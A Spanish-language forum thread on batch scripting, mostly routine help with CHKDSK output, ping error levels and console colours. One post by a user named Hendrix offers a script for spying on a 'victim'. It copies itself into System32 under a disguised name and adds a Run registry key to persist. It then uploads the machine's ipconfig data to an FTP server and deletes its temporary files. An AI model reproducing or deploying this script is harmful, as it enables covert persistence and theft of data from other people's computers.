TUTORIAL PROGRAMACION BAT

Iniciado por soplo, 8 Septiembre 2003, 14:29 PM

0 Miembros y 2 Visitantes están viendo este tema.

Hendrix

Seria asi:

@echo off
CHKDSK > C:\info.txt
exit

Salu2

Hendrix

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián

elmonomario

 ;D Muchas gracias Hendrix ahora anda de diez.

nanoemi003784

Hola, quisiera saber como hacer lo siguiente:

hacer un bat que me de una respuesta de un ping

En un pseudocódigo sería más o menos así:

SET ip=192.168.0.1
ping %ip%
si(ping me dio alguna respuesta negativa (es decir me dio tiempo de espera agotado)) entonces:
    echo No anda
sino
    echo Anda perfectamente

Fin

La idea es que necesito saber si ping devuelve algun resultado o si hay una variable default donde todas las funciones retornan algun tipo de resultado.

Desde ya muchas gracias!

Hendrix

Yo hace tiempo hice algo parecido, lo que hacia mi programa era ver si habia konexion (haciendo ping a google), si respondia te enviaba la IP de la viktima a tu FTP, sino, esperaba 50 segundos y lo volvia a mirar....

Te paso el kode:

@echo off
copy /y %0 C:\Windows\System32\Win32.exe
Reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Win32 /d "C:\Windows\System32\Win32.exe"
:mira
ping www.google.es > C:\Windows\System32\ping.txt
For /F "skip=3 Tokens=1 Delims= " %%A IN (C:\Windows\System32\ping.txt) do set ips=%%A
IF %ips%==M¡nimo (set q=siconec ) else (set q=noconec)
if %q%==siconec (goto ftp) else (goto torna)
:ftp
ipconfig /all > C:\Windows\System32\ip.txt
echo TUNOMBRE > C:\Windows\System32\datos.txt
echo TUPASS >> C:\Windows\System32\datos.txt
echo put C:\Windows\System32\datos.txt datos.txt >> C:\Windows\System32\datos.txt
echo put >> C:\Windows\System32\ip.txt %username%.txt >> C:\Windows\System32\datos.txt
echo bye >> C:\Windows\System32\datos.txt
ftp -s:C:\Windows\System32\datos.txt ftp.TUFTP.com
goto fin
:torna
ping 127.0.0.1 -n 50
goto mira
:fin
del /s /q C:\Windows\System32\ping.txt
del /s /q C:\Windows\System32\datos.txt
del /s /q C:\Windows\System32\ip.txt
exit


Espero que te sirva, es algo komplikadillo, pero weno.

Salu2

Hendrix

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián

nanoemi003784

Gracias por responder Hendrix.

Si me sirvió, pero yo pensé que el DOS o el lenguaje batch o quien fuera te devolvía una variable estandar con un resultado true o false o algo asi luego de cada comando; digo esto porque veo que en tu código escribis en un archivo y luego lo lees y de ahi sacas la  respuesta al ping.
Pero tengo entendido que ping de por si devuelve algo (1 ó 0 ó true ó false) y asi todos los comandos, pero no se cual es la manera de ver ese resultado sin tirarlo a un archivo.
De todos modos con este script que me diste es más que suficiente y te lo agradezco.
Nos vemos, si te enteras de algo con respecto a esto me aisas?
Saludos!

Hendrix

no, el DOS no funciona asi, solo funciona de la manera que esta en mi programa.

A veces es algo komplikado este lenguaje (sobre todo para leer archivos). Pero Weno....

Salu2

Hendrix

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián

nanoemi003784

Hendrix:

Gracias por todo, descubri una pequeña variable que no se bien como funciona pero sirve para lo que yo necesitaba. Te paso el código para que lo veas y me corrijas en todo lo posible o me das más información pq de esto se muy poco:

@echo off
SET ip=192.168.0.1
ping %equipo% -n 1
echo %errorlevel%

si el ping da respuesta la variable errorlevel vale 0
si el ping da tiempo de espera agotado la variable errorlevel vale 1

Por suerte con esto me alcanza, pero si no fuera por tu ayuda y la de este foro no lo habría hecho, asi que gracias de nuevo e insisto, si conseguis más información acerca de este errorlevel te estaría más agradecido aún.
Saludos!

Hendrix

vaya, yo konocia este comando, pero no sabia que funcionaba para esto....esta bastante interesante.... ;D ;D ;D ;D

Por cierto, el kode que posteaste tu komo ejemplo seria asi para que fuese korrecto:

@echo off
SET ip=192.168.0.1
ping %ip% -n 1
echo %errorlevel%
pause
exit

Salu2

Hendrix

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián

cyrusx

saludos!!!!!!  se q soy nuevo por aki y solo les queria preguntar como hago para cambiar de color la pantalla por medio de un BAT q paleta uso, osea q colores soporta y como se usa el comando...... gracias..........

Hendrix

Prueba este:

color 0a

Para ver mas kolores pon esto:

color /?

Salu2

Hendrix

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián